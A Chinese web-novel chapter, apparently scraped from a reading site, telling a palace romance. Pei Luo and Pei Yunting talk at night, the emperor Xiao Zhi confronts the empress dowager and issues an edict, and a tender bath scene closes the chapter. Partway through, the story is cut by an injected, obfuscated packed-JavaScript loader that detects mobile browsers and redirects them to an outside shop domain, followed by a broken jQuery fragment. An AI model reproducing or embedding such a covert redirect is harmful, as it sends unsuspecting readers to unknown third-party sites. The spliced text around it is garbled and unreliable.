83. 第 83 章萧止
    裴萝悄悄地勾住裴云庭的左手小手指。

    她像个耍赖的孩子,赖着他:“你还记得吗?我第一次住在这里那一晚,你拿猫做借口,进宫来陪我。”

    那是第一次,她跟他那么的近。

    裴云庭当然记得,那晚还发生了很多事,他以为她心中爱的人是皇上,她却说不是萧止,她另有了心上人,是一个像春天一样的人。

    他偷偷失落了很久,直到后来才知道,不过是一场她故意闹出的乌龙,只为了拒绝他。再后来,知道那个人是他自己。

    “像春天一样的人,是什么样的人?”裴云庭幽幽道。

    “是你啊!一直都是你。”裴萝十分坦然,清亮亮的嗓子带着雀跃,对他道,“裴云庭就是春天,裴萝的春天!”

    他转头看她,今夜她哭的实在太多,眼睛红肿未退,却也挡不住眼中光芒,如幽亮的火,闪烁着,直直烧进他心里。

    “你就仗着我现在动不了你!”裴云庭口吻无奈,左手被她拉着,右手去拧她脸颊,“给本王等着!”

    裴萝忍笑,不再撩拨,躺回去。

    “平静,平静!”她故意道,“齐王殿下,平心静气!”

    裴云庭:“……”

    才刚刚有一丝平静,她又翻身凑过来:“对了,我还想起一件事,那晚你还知道了我的名字,你偷偷调查我。”

    “分明是你太吵了。”裴云庭平静不了,索性就着她的话胡说八道起来,“某个人太会起名字,又是锣,又是镲,噼里啪啦,嘁嘁喳喳,可不得好好查查?”

    “很吵吗?”

    “吵。”他肯定道,“但是我喜欢。”

    她本就该如此模样,鲜活着又张扬着,烈烈如升腾的火,前世被深宫磨去的棱角,都回来了。

    还算中听,裴萝满意。

    “等等,不对劲。”她慢半拍回想起来,“我在宫里发生的事,还是这种地方,你在宫外是怎么知道的?”突然间恍然大悟,变了语气,“你不仅调查我,还派人监视我!”

    “对不对?”漆黑的眸中光芒熄灭,酝酿着一股风暴:“那么早就开始了,你比我想的还要变态!”

    裴云庭打了个哈欠:“早点睡吧!”

    “裴云庭!!”

    “夫人轻点,有伤,疼……”

    夜色已深,萧止在寝殿里却并未就寝,放下朱笔,合上手边最后一本奏折,才缓缓起身。

    窗外浓重的夜色不经意渗进一两丝凉意,薛涛命人送来热毛巾热燕窝汤。萧止拿起来覆在手上,热气氤氲,又想起今夜的事。

    从充斥着血气和药气的偏殿出来,他去找了太后理论,母子二人在灯烛之间冷冷对峙。

    “哀家当然知道她对你无意,这也是她最聪明的一点,可她惹了你,就不能算无辜。”周仪淡淡道,“是你害了她。”

    萧止紧蹙眉头:“事实到底如何,朕心里有数!不准再动他们!”

    “有数?”周仪像在听一个惊天笑话,“皇上,你放下朝政不顾一切奔去找她时,可有想过京中无人坐镇,万一有人不安分,趁机作乱会酿成多大的祸事?”

    “你去的地方疫病横行,可有想过后果?如果染了病,该如何跟天下,跟哀家交代?你为了一个心有所属的女子一意孤行,连礼义廉耻都不要,又可曾想过外头知道会怎么议论,我皇家脸面往哪放?”

    “这就是你所谓的有数?”

    一句句,语气犀利如针,萧止被扎的灰头土脸,狼狈不已。

    周仪正色道:“母后是为你清君侧。”

    “因为,哀家除了是你娘,还是这个大晏的太后!”眸中多了一丝心疼,硬着心肠训斥道,“止儿,你是天子,你没有这个任性的资格。”

    萧止心里轰然崩塌,心脏破碎成血块,洒了一地,他不吭声,他本来就全都知道,所以他很慢很慢地,把心撮成一堆,满手是血,却在一片血呼啦中,触摸到一片柔软心核。

    裴萝,裴萝,裴萝。

    她的爱,她的义,她的仁,她的所有。

    爱过这个女人,疯狂过挣扎过争取过,哪怕最后没得到,也不是件丢人的事。

    “母后。”他嗓音变的冷肃,“不必了,我是三十岁,不是三岁,我知道我在做什么,我并不后悔任性这一次,这一生也只会有这一次。”

    “您不了解她,但这么多年来您应当了解我,我选的人,究竟会是什么人。”

    “母后想要一个好君主,不被情爱所困,我明白,可如果今晚我真眼睁睁看着她死在面前,就能叫做好君主吗?且不说她是朕心中在意的人,她难道不算黎民?我又会变成什么样子?”

    “裴萝她也不是一个简单的女子,她心里有黎民百姓,有江山有社稷,正是因为看见她愿意豁出命为百姓们付出,朕才真正放下狭隘的爱,化成对天下万民的责任,这样的女子,心中大爱无疆,何来妖女一说?”

    “今夜她所陈述的种种,母后您也听到了,难道我天家真就打算如她所说,忠臣良将留不住,连一丝情意都没有了吗?母后当真要儿子残忍至此,落此骂名?”

    萧止痛心疾首,眼前浮现裴萝的模样,她朝他笑着,天真纯粹,心无芥蒂。

    这样的她应当肆意绽放。

    他眼里缓缓地,有了一丝微薄光亮,如茫茫荒原上的月。纵是不可触碰那又如何?仰起头时,也在眼中。

    “儿子真的爱她,很爱,然而却已无独占之心,不愿她囚于高墙之内黯淡零落,只愿她平顺,得偿所愿,也请母后放过她,莫再为难。”

    周仪不语,眼神依旧冷漠,深处却有一丝不易察觉的动容。

    “今晚的事,儿子懂得母后一片苦心,不会怪母亲,只是还请母后大度放手,将此事交由儿子自己做决断!”

    “那么,皇上打算如何决断?”

    萧止沉思。

    心中已有决断。

    翌日,裴云庭和裴萝离开皇宫,回齐王府继续养伤。

    萧止派李琦送来圣旨,圣旨中道,南疆地区不宁,齐王为朕分忧自请出发前去平定,朕心甚慰,因齐王重伤未愈,定于上元节之后动身,路将军一家也已查明无罪,恩准释放。

    拿着圣旨,裴云庭谢恩。

    担心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678737|143992||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    裴萝情绪不佳,想着要怎么哄她才能好,待人走后,他才转过身,还未问出口她想做些什么,对上一张清丽笑颜。

    她快步过来:“还有近半个月呢,足够了,相信我,我一定帮你恢复的漂漂亮亮,一道疤痕都不留!”

    裴云庭压下心头的酸楚,微微一笑:“有劳夫人!”

    休息了几日。

    过年之后,天气明显好了起来,比起早前的阴云暮雨,隐约有了几分早春的预兆。

    尚在年内,这些日子里除了路修明和丁娆过来探望了一趟,没有人上门,很是清净。许是知道两人相处的时间不多,每一刻都格外宝贵,不忍前来打扰。

    裴萝并没有和裴云庭抱着头痛哭,两人都忙得很。

    裴萝在府中研制焕新生肌的药水,每日把裴云庭往飘满药材的浴桶里按,他随着她,听话地每日都泡上半天。多日下来,也确实有用。

    伤口逐渐修复愈合,连带着裴云庭整个人都给泡的格外温润,一双丹凤眸浸着水波,悠悠荡漾着。

    通身舒畅,裴云庭往后看了一眼,裴萝正坐在桶外,拿着一条湿毛巾把药气往他体内赶。

    她垂着头,双睫乌黑,一缕青丝垂下,满眼只有他。

    在她面前的,是他伤痕斑驳的后背,上面新伤摞旧伤,而有些疤永远都去不掉。

    收回视线,裴云庭轻“嘶”了一声,裴萝一霎抬起头:“怎么,哪里疼?”

    她的手里拿着毛巾,热气丝丝缕缕往他脖颈处的皮肤下钻,越来越热。

    “这里。”裴云庭指了指心口,裴萝看不到,干脆放下毛巾走过来,紧张地伸出手去摸,“是这里吗?”

    手被抓住。

    他湿热的手上晶莹水珠粒粒滚落于她的手背,带着炙热,嗓音压低:“里面疼,夫人要不进来看看?更清楚。”

    “……”

    这个带着药味的鸳鸯浴,裴萝思虑良久,还是给拒绝了。

    她倒是不怕染一身药味,但怕他伤还未好结实,万一那个时动作过大,伤口给裂开了怎么办?他脑子给泡糊涂了,她可没糊涂。

    裴云庭没再坚持,一缕郁闷藏也藏不住。裴萝手中毛巾再度擦过他的后背,垂下眼睛。

    两天后,裴云庭过来浴房,眼前却不是平日用的药浴。清澈的水面飘满殷红玫瑰花瓣,一双手从背后搂住他的腰。

    “你昨日不是说心疼吗?我帮你看看。”裴萝贴着他的后背,轻轻吐出几个字。他一瞬转过身,对上她通红的脸。

    “水要凉了。”

    水汽氤氲在房内,玫瑰花瓣在水面漂浮,偶尔被水纹浸没,又晃悠悠地浮起来,被一只湿漉漉的手捞起。

    “你这是心病。”裴萝懒散地靠在裴云庭肩窝,望着手指间的花瓣,慢条斯理道,“心病不好治,普天下只有我能治。”

    “如何治?”裴云庭故意问她。

    “自然是,爱我呀!”她眯眼一笑,“就不药而愈了。”

    “好。”他低头轻吻她,“听裴大夫的。”

    恩……是个听话的病人。

    如此甚好,省心。